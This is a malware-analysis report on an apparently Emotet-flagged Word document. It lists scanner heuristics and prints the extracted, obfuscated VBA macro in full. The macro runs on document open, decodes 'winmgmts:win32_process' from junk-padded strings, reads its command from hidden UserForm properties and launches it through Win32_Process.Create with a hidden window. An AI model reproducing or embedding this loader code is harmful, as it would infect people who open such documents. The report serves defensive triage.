MALICIOUS
292
Risk Score
Heuristics 9
-
ClamAV: Doc.Malware.Emotet-9257617-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emotet-9257617-1
-
Malformed OLE auto-open stager with embedded ZIP payload critical OLE_RAW_MALFORMED_AUTOOPEN_STAGERRaw malformed OLE bytes contain an auto-open macro entry, embedded ZIP/theme package bytes, VBA project metadata, and URL/CMD/Shell staging tokens. This is a high-confidence exploit-builder shape where the OLE directory is intentionally malformed, preventing normal VBA extraction while leaving the auto-run stager visible in raw streams.
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGERVBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.Matched line in script
TXEQXdshmegxekt = Split _ -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set MDOGUgfyxhqppalsqkl = CreateObject(COZEUhognmhgelsrjon) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Document_open() -
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4849 bytes |
SHA-256: d0b4b6a79b4ce0f274dd6f6ee6d00661c811284b35f2a722d8e4ca6ff2595db3 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
50 of 100 identifiers look randomly generated (e.g. 'yhuid2dce7892HJGgghjgJH') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "MDCUAubndkdusng"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
KCUFPrbdhecvxazsblb.VGEVOqdeuzgikwvx
End Sub
Attribute VB_Name = "KCUFPrbdhecvxazsblb"
Attribute VB_Base = "0{D99BAC0F-9051-4317-86E9-C4C5C4E17AB0}{1C1A4F1A-1A79-4F3A-9421-62B79EA1B065}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function VGEVOqdeuzgikwvx()
Dim bnIC7BXFP As Integer
bnIC7BXFP = Len("k3ßiBgT8Ö")
Dim ql4ÍkHo As Integer
ql4ÍkHo = 1
Do While ql4ÍkHo < 1 + 3
ql4ÍkHo = ql4ÍkHo + 7: DoEvents
Loop
Dim VnTGhD As Integer
VnTGhD = 6
Do While VnTGhD < 6 + 9
VnTGhD = VnTGhD + 6: DoEvents
Loop
RQMWKognhygicmck = Chr(KCUFPrbdhecvxazsblb.Zoom + ((30 + 60 + 30) / (4 + 4)))
Dim EWsakgGped As Integer
EWsakgGped = 1
Do While EWsakgGped < 1 + 4
EWsakgGped = EWsakgGped + 9: DoEvents
Loop
MNSZKkzkleitjcw = "7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2dw7892HJGgghjgJH%789H h&219yhuid2di7892HJGgghjgJH%789H h&219yhuid2dnm7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2dgm7892HJGgghjgJH%789H h&219yhuid2dt7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2d" + RQMWKognhygicmck + "7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2d:7892HJGgghjgJH%789H h&219yhuid2dw7892HJGgghjgJH%789H h&219yhuid2din7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2d37892HJGgghjgJH%789H h&219yhuid2d27892HJGgghjgJH%789H h&219yhuid2d_7892HJGgghjgJH%789H h&219yhuid2d" + KCUFPrbdhecvxazsblb.YZFSWzpifdrtmpogig + "7892HJGgghjgJH%789H h&219yhuid2dro7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2dce7892HJGgghjgJH%789H h&219yhuid2ds7892HJGgghjgJH%789H h&219yhuid2ds7892HJGgghjgJH%789H h&219yhuid2d"
Dim t5àCoPkgj As Integer
t5àCoPkgj = 4
Do While t5àCoPkgj < 4 + 6
t5àCoPkgj = t5àCoPkgj + 7: DoEvents
Loop
COZEUhognmhgelsrjon = VKVULemaykihh(MNSZKkzkleitjcw)
Dim pibFblq As String
Set MDOGUgfyxhqppalsqkl = CreateObject(COZEUhognmhgelsrjon)
Dim WGu8ÍyhtN As Integer
WGu8ÍyhtN = Len("OVnLrCFgBv")
WHGBXjpguajonuwyd = KCUFPrbdhecvxazsblb.OTRLBgeiamly.ControlTipText
Dim lqrqsHrC As Object
RKYQYynqqkggv = kljiqbbn2m + (COZEUhognmhgelsrjon + RQMWKognhygicmck + KCUFPrbdhecvxazsblb.FBAGMthlscdeyn.ControlTipText + WHGBXjpguajonuwyd)
Dim Z4Öf As Object
AUKNWlkeomjlsitgf = RKYQYynqqkggv + KCUFPrbdhecvxazsblb.YZFSWzpifdrtmpogig
Dim Br1ÚYapZkp As Integer
Br1ÚYapZkp = Len("BoYNMC")
Set XVKAKzgrlgodewwzd = CARSXbsxsuvzh(AUKNWlkeomjlsitgf)
Dim Q7Ìl8ÉD0Êau As Boolean
pos76 = Array(dccv21s + "nnsk ioqy hhdq hdioqe", MDOGUgfyxhqppalsqkl. _
Create(KMYBTyriemreflku, FVWBQzwyzkdysabze, XVKAKzgrlgodewwzd), vkq37y + "klq whuiqguiq ggqj")
Dim GpnGklo As Integer
GpnGklo = Len("dhL8ÇZ5ß")
End Function
Function CARSXbsxsuvzh(BUOIBxlunmmaxid)
Set CARSXbsxsuvzh = CreateObject(BUOIBxlunmmaxid)
Dim TZagwF As Currency
CARSXbsxsuvzh. _
showwindow = NOCHZtqbamsney + JAHXFsaefsfumef + VQRMWpywclpz
Dim EWCoPkgjbA As Integer
EWCoPkgjbA = Len("jWG")
End Function
Function VKVULemaykihh(XQSZKxvssyya)
QPHEQteweiwwtcq = XQSZKxvssyya
Dim moR7ÒWhdDBb As Integer
moR7ÒWhdDBb = 6
Do While moR7ÒWhdDBb < 6 + 5
moR7ÒWhdDBb = moR7ÒWhdDBb + 6: DoEvents
Loop
TXEQXdshmegxekt = Split _
(QPHEQteweiwwtcq, "7892HJGgghjgJH%789H h&219yhuid2d")
Dim aVXl As Integer
aVXl = 7
Do While aVXl < 7 + 5
aVXl = aVXl + 8: DoEvents
Loop
WZPGBbnwxuih = mmm2 + Join(TXEQXdshmegxekt, ooo3)
Dim yeECcb As Integer
yeECcb = Len("rdoJD")
VKVULemaykihh = WZPGBbnwxuih
Dim GZwfTDr7â As Integer
GZwfTDr7â = 6
Do While GZwfTDr7â < 6 + 5
GZwfTDr7â = GZwfTDr7â + 6: DoEvents
Loop
End Function
Function KMYBTyriemreflku()
Dim HC0ËhElyrR As Integer
HC0ËhElyrR = 5
Do While HC0ËhElyrR < 5 + 3
HC0ËhElyrR = HC0ËhElyrR + 9: DoEvents
Loop
Dim eUiZ7Ù4åGl As Integer
Dim klsJRv1âB As Integer
klsJRv1âB = 3
Do While klsJRv1âB < 3 + 9
klsJRv1âB = klsJRv1âB + 9: DoEvents
Loop
eUiZ7Ù4åGl = Len("lpiW8Äut")
Dim SUjT5Ó2Û As Object
nm2n3n3n3 = KCUFPrbdhecvxazsblb.RXEAVgnzsqvryccv.Pages((2 * 5) / 10). _
Caption
Dim Ssrhin As Integer
Ssrhin = Len("ZU1áA")
KMYBTyriemreflku = VKVULemaykihh(nm2n3n3n3)
Dim fLMZu As Integer
fLMZu = Len("VLMRgY")
Dim IAP3É As Integer
Dim TraAv6Ô7ÉaS As Boolean
IAP3É = 7
Dim f3ÉeBisoO As Integer
f3ÉeBisoO = Len("LHKCn0×pGO")
Do While IAP3É < 7 + 1
Dim NoKFJmY As String
IAP3É = IAP3É + 9: DoEvents
Dim H4ÀP As Integer
H4ÀP = Len("UCZI")
Loop
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.